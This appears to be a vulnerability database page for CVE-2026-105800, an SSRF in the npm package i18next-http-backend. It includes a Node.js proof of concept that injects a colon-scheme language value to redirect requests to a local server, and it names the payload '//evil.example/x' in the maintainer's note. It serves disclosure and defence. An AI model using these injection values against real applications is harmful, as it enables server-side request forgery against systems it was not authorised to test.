CVE-2026-105800: i18next-http-backend incomplete URL validation permits SSRF
There is an SSRF vulnerability when using i18next-http-backend. A colon in an attacker-controlled language value can make a custom path template request an unintended origin. This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.
Published Oct 6, 2026
Affected packages
i18next-http-backend
- Ecosystem
- npm
- Affected
- < 4.0.2
- Fixed in
- 4.0.2
- Check
npm ls i18next-http-backend
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
There is an SSRF vulnerability when using i18next-http-backend. A colon in an attacker-controlled language value can make a custom path template request an unintended origin.
This is reachable under the following conditions: Attacker controls i18next language or namespace input that is interpolated into loadPath.
Proof of Concept
// SSRF through a colon-only URL scheme in i18next-http-backend interpolation.
const http = require("node:http");
const Backend = require("i18next-http-backend");
function read(backend, lng, ns) {
return new Promise((resolve) => {
backend.read(lng, ns, (err) => resolve(err));
});
}
async function main() {
let gotRequest = false;
const server = http.createServer((req, res) => {
gotRequest = req.url === "/common.json";
res.writeHead(200, { "content-type": "application/json" });
res.end("{}");
});
await new Promise((resolve) => server.listen(0, "127.0.0.1", resolve));
const backend = new Backend(null, { loadPath: "{{lng}}/{{ns}}.json" });
const lng = `http:127.0.0.1:${server.address().port}`;
const err = await read(backend, lng, "common");
server.close();
const vulnerable = gotRequest && !err;
console.log(vulnerable ? "VULNERABLE" : "SAFE");
if (!vulnerable) process.exitCode = 1;
}
main();Run:
npm install --ignore-scripts
node poc.jsThe expected result is:
VULNERABLEWhy the Previous Patch Was Incomplete
This vulnerability is caused by an incomplete patch for CVE-2026-41691. The previous patch addressed the following behavior: Original hardening blocks path traversal and selected URL-control characters in lng/ns.
The following bypass remains in the current release: lng=http:127.0.0.1: with loadPath={{lng}}/{{ns}}.json; colon is not blocked and produces an outbound request.
Impact
The attacker-controlled language or namespace value can redirect the backend request to an unintended origin, resulting in URL injection and possible SSRF.
Recommended Fix
Parse the final URL and require it to remain within the intended origin and path. If absolute URLs are supported, validate them against an explicit allowlist.
Please let us know if you need any additional information or clarification. We are happy to prepare a pull request if that would be helpful. Thank you for reviewing this report.
Maintainer note
Confirmed and fixed in 4.0.2 (commit i18next/i18next-http-backend@07e0288).
Preconditions. The bypass only works when the loadPath / addPath template *begins* directly with {{lng}} or {{ns}} — no origin and no leading /, e.g. {{lng}}/{{ns}}.json. Only in that position is http: parsed as a URL scheme. The default /locales/{{lng}}/{{ns}}.json and every template with a leading path or origin are not affected: a colon inside a path segment has no structural meaning there, and the resulting string is rejected as an invalid URL. The same template shape also allowed an ns value such as //evil.example/x to become a protocol-relative URL in browsers.
Fix. : is now rejected in both lng and ns values, and // in ns values. No BCP-47 language code contains a colon, and : is i18next's default namespace separator, so no usable namespace name does either.
Affected range. Versions before 3.0.5 had no validation at all and are reachable through this vector too, so the affected range is < 4.0.2 rather than >= 3.0.5, <= 4.0.1.
Credited to avrlab233.
References
- https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-xvq9-wjp8-hwqf
- https://nvd.nist.gov/vuln/detail/CVE-2026-105800
- https://github.com/i18next/i18next-http-backend/commit/07e028862b25d0b9251bf3cafb92be2d35285f85
- https://github.com/i18next/i18next-http-backend/releases/tag/v4.0.2
- https://github.com/advisories/GHSA-xvq9-wjp8-hwqf
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-115730
i18next-http-backend: Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf)
low3.1Oct 28, 2026CVE-2026-118258
i18next-http-backend: Query-parameter injection through & and = in lng when loadPath/addPath puts {{lng}} in the query string
low3.7Oct 28, 2026CVE-2026-41691
i18next-http-backend has Path Traversal & URL Injection via Unsanitised lng/ns
medium6.5Apr 22, 2026
